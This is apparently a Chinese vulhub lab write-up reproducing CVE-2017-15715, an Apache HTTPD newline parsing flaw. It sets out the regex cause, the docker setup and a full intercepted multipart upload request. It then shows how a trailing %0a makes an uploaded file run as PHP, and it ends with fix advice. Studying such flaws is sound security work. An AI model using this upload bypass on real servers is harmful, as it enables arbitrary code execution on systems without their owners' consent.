05 - vulhub - Apache HTTPD 换行解析漏洞(CVE-2017-15715)
2023-09-14 09:14:27 时间
漏洞名称:Apache HTTPD 换行解析漏洞(CVE-2017-15715)
简介:
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A
将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
影响版本
Apache HTTPD 2.4.0~2.4.29
漏洞原理
在该版本的配置中
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
该部分内容就是只有匹配上面的正则表达式就可以进行绕过
使用我们在看一看正则表达式中$
的意思
匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $
也匹配 \n
或 \r
。要匹配 $
字符本身,请使用 $
。
所以如果设置 RegExp 对象的 Multiline 属性的条件下,$
还会匹配到字符串结尾的换行符(也就是%0a)
漏洞复现
环境准备
靶机环境 139.196.87.102 (vulhub)
攻击机环境 192.168.8.131 (虚拟机 Ubuntu 20、Java1.8、Burp)
启动 Apache HTTPD 换行解析漏洞(CVE-2017-15715) 环境
1.进入 vulhub 的 CVE-2017-15715
cd /usr/local/tools/vulhub/httpd/CVE-2017-15715
2.编译并启动环境
docker-compose up -d
3.查看环境运行状态
docker ps | grep CVE-2017-15715
访问 8080 端口
漏洞利用
访问 8080 端口,上传一个 php 文件,提示报错
此时打开 burp 进行抓包拦截,写入 php 文件内容,以及 hex 出对 php 文件后缀进行修改
数据包如下
POST / HTTP/1.1
Host: 139.196.87.102:8080
Content-Length: 310
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.196.87.102:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLeE8UKghjLbbkwTx
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://139.196.87.102:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: -http-session-=6::http.session::a7c40927f24b51084890c6583a8c8442
Connection: close
------WebKitFormBoundaryLeE8UKghjLbbkwTx
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: application/x-php
<?php
phpinfo();
?>
------WebKitFormBoundaryLeE8UKghjLbbkwTx
Content-Disposition: form-data; name="name"
test.php
------WebKitFormBoundaryLeE8UKghjLbbkwTx--
数据包转发成功
验证漏洞利用是否成功
访问刚才上传的/test.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞
修复建议
1、升级到最新版本
2、或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录可执行权限
3、或者干脆搞一个单独的文件存储服务器
相关文章
- CentOS 6.3下源码安装LAMP(Linux+Apache+Mysql+Php)环境
- Apache系列:Centos7.2下安装与配置apache
- xammp start apache service FQA(xammp启动apache服务问题解决方案汇总)
- Automatically generating nice graphs at end of your Load Test with Apache JMeter and JMeter-Plugins
- 通过 MSE 实现基于Apache APISIX的全链路灰度
- 主机无法访问虚拟机的apache解决办法
- CVE-2021-44228-Apache-Log4j-Rce漏洞反弹win&linux
- Apache Shiro 反序列化漏洞(Shiro-721 CVE-2016-4437)
- Apache Shiro 身份验证绕过漏洞复现(CVE-2016-6802)
- Apache Shiro 身份验证绕过漏洞 复现(CVE-2020-11989)
- CVE-2019-0192 Apache solr远程反序列化代码执行漏洞危害
- Apache Shiro权限控制框架简介
- GcExcel与 Apache POI 在功能和性能上的对比测试
- Apache Log4j2远程代码执行漏洞攻击,华为云安全支持检测拦截
- Apache CarbonData 2.0 开发实用系列之一:与Spark SQL集成使用
- Mybatis 拦截器报错org.apache.ibatis.executor.statement.StatementHandler.prepare(java.sql.Connection)
- Java集合类汇总记录-- apache.commons4(TreeList)
- 一脸懵逼学习Java操作Excel之POI(Apache POI)
- Apache Beam实战指南 | 手把手教你玩转KafkaIO与Flink
- 为什么Nginx性能比Apache高
- 【云原生 | 21】Docker运行Web服务实战之Apache
- Hadoop 未授权访问【原理扫描】及Apache Hadoop YARN 资源管理器 REST API未授权访问漏洞【原理扫描】修复记录
- Apache Zookeeper 未授权访问漏洞【原理扫描】
- 反序列化渗透与攻防(三)之Apache Commons Collections反序列化漏洞